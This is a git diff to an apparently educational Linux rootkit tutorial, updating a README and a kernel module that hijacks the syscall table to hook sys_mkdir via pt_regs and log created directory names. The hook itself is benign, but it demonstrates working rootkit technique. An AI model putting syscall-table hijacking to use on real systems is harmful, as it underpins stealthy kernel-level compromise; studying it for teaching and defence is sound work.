diff --git a/3_RootkitTechniques/3.1_syscall_hooking/README.md b/3_RootkitTechniques/3.1_syscall_hooking/README.md index 1cb5aa3..7836063 100644 --- a/3_RootkitTechniques/3.1_syscall_hooking/README.md +++ b/3_RootkitTechniques/3.1_syscall_hooking/README.md @@ -4,6 +4,16 @@ Hijacking the linux syscall table, and hooking `sys_mkdir`. +We have to use the `pt_regs` struct defined in [`arch/x86/include/asm/ptrace.h`](https://github.com/torvalds/linux/blob/master/arch/x86/include/asm/ptrace.h) in order to be able to access the argument passed to the syscall in our hook. Crucially, we have to define `orig_mkdir` via: + +```C +typedef asmlinkage long (*orig_mkdir_t)(const struct pt_regs *); +orig_mkdir_t orig_mkdir; + +This means that we can wrap around this syscall by doing whatever we want to do in our hook, and then just pass the entire `pt_regs` struct over to this function pointer with `orig_mkdir(regs)` when we're done. + +The other benefit of doing this is that we only have to extract the arguments that we are interested in and not all of them solely for the purpose of passing them along to the real syscall. Looking up `sys_mkdir` [here](https://syscalls64.paolostivanin.com/), we see that `*pathname` is stored in the `rdi` register. This means that we simply dereference the string containing the new directory with `(char *)regs->di`. + To use: * Build with `make` * Load with `insmod rootkit.ko` diff --git a/3_RootkitTechniques/3.1_syscall_hooking/rootkit.c b/3_RootkitTechniques/3.1_syscall_hooking/rootkit.c index 65c850e..c1c8828 100644 --- a/3_RootkitTechniques/3.1_syscall_hooking/rootkit.c +++ b/3_RootkitTechniques/3.1_syscall_hooking/rootkit.c @@ -3,6 +3,7 @@ #include #include #include +#include MODULE_LICENSE("GPL"); MODULE_AUTHOR("TheXcellerator"); @@ -11,18 +12,48 @@ static unsigned long * __sys_call_table; -/* We copy this typedef from include/linux/syscalls.h +/* Despite what's written in include/linux/syscalls.h, + * we have to declare the original syscall as taking + * a single pt_regs struct as an argument. This enables + * us to unpack this struct in our hook syscall and access + * the arguments that are being passed, while still being + * able to just pass this struct on again to the real syscall + * without any issues. This way, we don't have to unpack + * EVERY argument from the struct - only the ones we care about. + * * Note that asmlinkage is used to prevent GCC from being * "helpful" by allocation arguments on the stack */ -typedef asmlinkage int (*orig_mkdir_t)(const char __user *pathname, umode_t mode); +typedef asmlinkage long (*orig_mkdir_t)(const struct pt_regs *); orig_mkdir_t orig_mkdir; /* This is our function hook. + * + * Getting this to work is a little awkward. We have to un-pack + * the arguments from the pt_regs struct in order to be able to + * reference the new directory name without getting a null-pointer + * dereference. + * + * The pt_regs struct contains all the arguments passed to the syscall + * in each register. Looking up sys_mkdir, pathname is stored in rdi, so + * simply dereferencing regs->di gives the pathname argument. + * See arch/x86/include/asm/ptrace.h for more info. + * * Note that we call the real sys_mkdir() function at the end */ -asmlinkage int hook_mkdir(const char __user *pathname, umode_t mode) +asmlinkage int hook_mkdir(const struct pt_regs *regs) { - printk(KERN_INFO "rootkit: mkdir trying to create directory: %s with mode %d\n", pathname, mode); - orig_mkdir(pathname, mode); + char __user *pathname = (char *)regs->di; + char dir_name[NAME_MAX] = {0}; + + /* Copy the directory name from userspace (pathname, from + * the pt_regs struct, to kernelspace (dir_name) so that we + * can print it out to the kernel buffer */ + long error = strncpy_from_user(dir_name, pathname, NAME_MAX); + + if (error > 0) + printk(KERN_INFO "rootkit: Trying to create directory with name: %s\n", dir_name); + + /* Pass the pt_regs struct along to the original sys_mkdir syscall */ + orig_mkdir(regs); return 0; }